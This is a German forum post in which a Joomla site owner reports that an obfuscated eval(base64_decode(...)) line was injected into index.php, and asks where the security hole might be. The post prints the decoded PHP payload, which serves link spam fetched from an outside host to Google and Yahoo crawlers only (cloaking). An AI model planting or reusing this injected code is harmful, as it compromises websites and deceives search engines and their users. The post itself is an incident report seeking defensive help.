LinkBack URL
About LinkBacks
Fremder SourceCode nur bei Google und Yahoo sichtbar
Hallo zusammen,
ich habe jetzt einige Foren durchsucht und keine wirkliche Fehlerursache bzw Sicherheitsleck mit dieser Wirkung gefunden.
Und zwar passiert folgendes:
In der index.php wurde am Ende vor dem schließenden Body-Tag folgender Code (Auszug) eingefügt:
<?eval(base64_decode("WV4cGxvZGUoIjsiLCIzMDsxNzs4N zs5NT...................
Die Dekodierung und Ausgabe der darin enthaltenen evals's ergibt am Ende folgenden ausführbaren Code:
if (stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")||stristr($_SERVER["HTTP_USER_AGENT"],"yahoo")){ $url_unique_name="http://www.getalllinks.info/links/".rand(0,250).".txt?ip=".$_SERVER["REMOTE_ADDR"]."&host=".rawurlencode($_SERVER["HTTP_HOST"])."&agent=".rawurlencode($_SERVER["HTTP_USER_AGENT"]); if (function_exists("curl_init")) { $ch_unique_name = @curl_init(); @curl_setopt ($ch_unique_name, CURLOPT_URL, $url_unique_name); @curl_setopt ($ch_unique_name, CURLOPT_RETURNTRANSFER, 1); @curl_setopt ($ch_unique_name, CURLOPT_TIMEOUT, 30); @curl_setopt ($ch_unique_name, CURLOPT_ENCODING , "gzip"); $result_unique_name=@curl_exec ($ch_unique_name); @curl_close ($ch_unique_name);echo $result_unique_name; } else { $result_unique_name=@file_get_contents($url_unique _name);echo $result_unique_name; } }
Es ist klar was dieser macht.und Google hat auch entsprechend reagiert und die Inhalte der Seite als Cloaking markiert und die Seite vorrübergehend aus dem Index verbannt.
Es wurden auch weitere Dateien mit dem selben Inhalt in den Verzeichnissen angelegt.
Ich brauche jetzt keine Tipps wie 'Version aktualisieren' sondern ich brauche Hinweise auf ein mögliches Leck.
Joomla-Version: 1.13.0 (Aktualisierung im Moment nicht möglich!!!!!)
Doc-Man: 1.4
Joom-Fish: 1.8
JooMap
FacileForms 1.4.7
Zitieren
Zitat von JoomlaHatesMe
Lesezeichen